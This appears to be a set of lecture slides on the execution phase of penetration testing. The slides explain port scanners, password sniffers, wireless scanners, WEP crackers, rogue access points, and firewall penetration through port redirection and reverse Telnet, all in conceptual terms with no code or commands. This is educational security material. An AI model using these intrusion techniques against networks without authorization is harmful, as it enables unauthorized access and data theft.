✓Wireless scanners
✓Wired Equivalent Privacy (WEP) crackers
Testing Methodology
Execution Phase
➢Use of Automated Tools
Network port scanners
• Network ports are the most common way to access resources available throughout the environment.
• Network port scanners are automated tools that are designed to traverse the network in an attempt to
locate available vulnerable ports and identify the services that they use.
• Why is this important? A network port is a number-addressed channel created for communication to
and from services and processes. Ports are assigned addresses ranging from 0 to 65,535, and most
port numbers are designed to indicate a specific type of service request that is associated with that
port.
• The term associated is used lightly here, because port numbers can be changed and services can be
forced to communicate on different ports than those for which they were originally intended. For
example, port 21 is reserved for FTP communication; this means that, in theory, this port should only
accept FTP-type service requests, but services and ports can be manipulated.
• Although some ports have been deemed more dangerous than others, they all offer a way to access a
system and intruders can abuse ports by passing Trojans and other types of malware through them.
Testing Methodology
Execution Phase
➢Use of Automated Tools
Network port scanners
• Therefore, if an open port is available on a router or within an operating system, an intruder can hijack
the port and send malicious code by way of it.
• Code such as a key logger can be inserted into the port to further obtain information. A key logger is a
piece of malware constructed to log every stroke a user types on the keyboard. Key loggers record
the keystrokes of a user into a text file that is sent back to the attacker for a specific period of time and
frequency. Not only do ports offer access into an infrastructure, but key loggers provide a grand
opportunity for attackers to retrieve passwords and sensitive data from a machine.
• Imagine the amount of information that can be gathered from a key logger that remains on a database
server for over a month, logging every action the database administrator takes.
• The amount of sensitive information that would be compromised is immeasurable.
Testing Methodology
Testing Methodology
Execution Phase
➢Use of Automated Tools
Password scanners
• Essentially, password scanners traverse the network searching forpasswords from remote
authentication systems.
• Password scanners capture, record, and return passwords as they are sent across the network. The
risk that a password scanner poses is obvious and is the primary reason passwords should never be
sent to a remote machine without some type of encryption.
• Some password scanners include the capability of cracking the passwords as well. This adds
significant complexity for those attempting to protect transmitted passwords, but as a rule of thumb,
the greater the complexity of the encryption, the more difficult and time consuming it is to decode.
Network sniffers
• Essentially, network sniffers traverse the network searching for packets of data from which information
can be extracted. Network sniffers can identify missing software patches, application types,
application version numbers, open ports, operating systems, and firewalls, to name a few. Sniffers
offer a quick way for an intruder to search for all vulnerabilities within an infrastructure. Like all of the
other scanners, network sniffers can be found and downloaded free online.
Testing Methodology
Execution Phase
➢Use of Automated Tools
Wireless scanners
• With wireless network popularity, wireless scanning applications are at an all-time high. Wireless
scanners identify vulnerabilities within a wireless network, which includes missing encryption keys
and poor security measures.
• Some wireless scanners can also locate vulnerability and risks within Bluetooth environments.
Wireless networks can be scanned both actively and passively. Passive wireless scanning captures
information about wireless activity, device types, device addresses, and data transmitted, aiding the
intruder looking to further explore unauthorized networks.
Wired Equivalent Privacy (WEP) crackers
• An encrypted-key password is often used to secure a wireless network environment. A wireless router
creates an encrypted string of letters and numbers from an inputted user password; this is a WEP key
and is used to log in to a wireless network environment. Wired Equivalent Privacy, or WEP crackers,
are software applications that are used to decrypt WEP keys. They provide attackers with entry into a
wireless environment by breaking its password encrypted code.
Testing Methodology
Execution Phase
➢Exploiting Network Hardware
• Network hardware can be used to access the network in several ways. Some of these techniques
involve installing rogue devices, whereas others are exploited through identified vulnerabilities:
Rogue access points
• Wireless networks are expensive and difficult to secure. A wireless network can be compromised in
several ways, but rogue access points are currently the most common and most difficult to identify.
• A rogue access point is a wireless access point (e.g., wireless router) that is installed within a
company’s wireless range without authorization, exposing the entire network, leaving it open for
anyone and everyone to navigate.
• For example, let’s say that an intruder purchases a wireless access point at the local computer store.
Subsequently, this intruder installs his new access point, with an SSID of Finance, in the range of
ABConsulting. The wireless devices within the existing ABConsulting (e.g, laptops, Blackberries)
network will be redirected and begin to connect to Finance to access the network.
• The intruder is also able to connect to Finance, using his own wireless device to obtain access to
ABConsulting, implement an attack, and obtain sensitive information. In fact, anyone within the
wireless range of ABConsulting’s new access point can connect as an unauthorized user as well.
Testing Methodology
Execution Phase
➢Exploiting Network Hardware
Firewall penetration
• Firewalls are the largest contributors to the security of an infrastructure of all the security measures that can be
placed within an environment. They work tirelessly to keep unauthorized users and traffic from entering a
network.
• Although they are invaluable assets to an infrastructure, as with other security tools, they, too, can fall prey to
intrusion attacks. The strength of a firewall, like many other technical devices, is dependent on the manufacturer,
the hardware from which it is built, and the length of time that it has been in production.
• Firewalls tend to lose their effectiveness with time as new and improved attacks are discovered by intruders.
Older firewalls contain services and default accounts with known security vulnerabilities.
• Network scans can provide intruders with information about a firewall’s manufacturer and model number. Armed
with this information, an attacker can conduct a simple Internet search to find out more information, and, in cases
where the firewall is a bit aged, the attacker can exploit the services, accounts, and any other well-known
vulnerability for the specific make and model.
• Another well-known technique used to gain access to an unauthorized network via a firewall is by using port
redirection and reverse Telnet. Port redirection works by redirecting packets into unauthorized territory, by taking
advantage of an existing trust between the firewall and a system. Essentially, an attacker Telnets into a trusted
system and through reverse Telnet redirects commands to another shell located within a firewalled perimeter.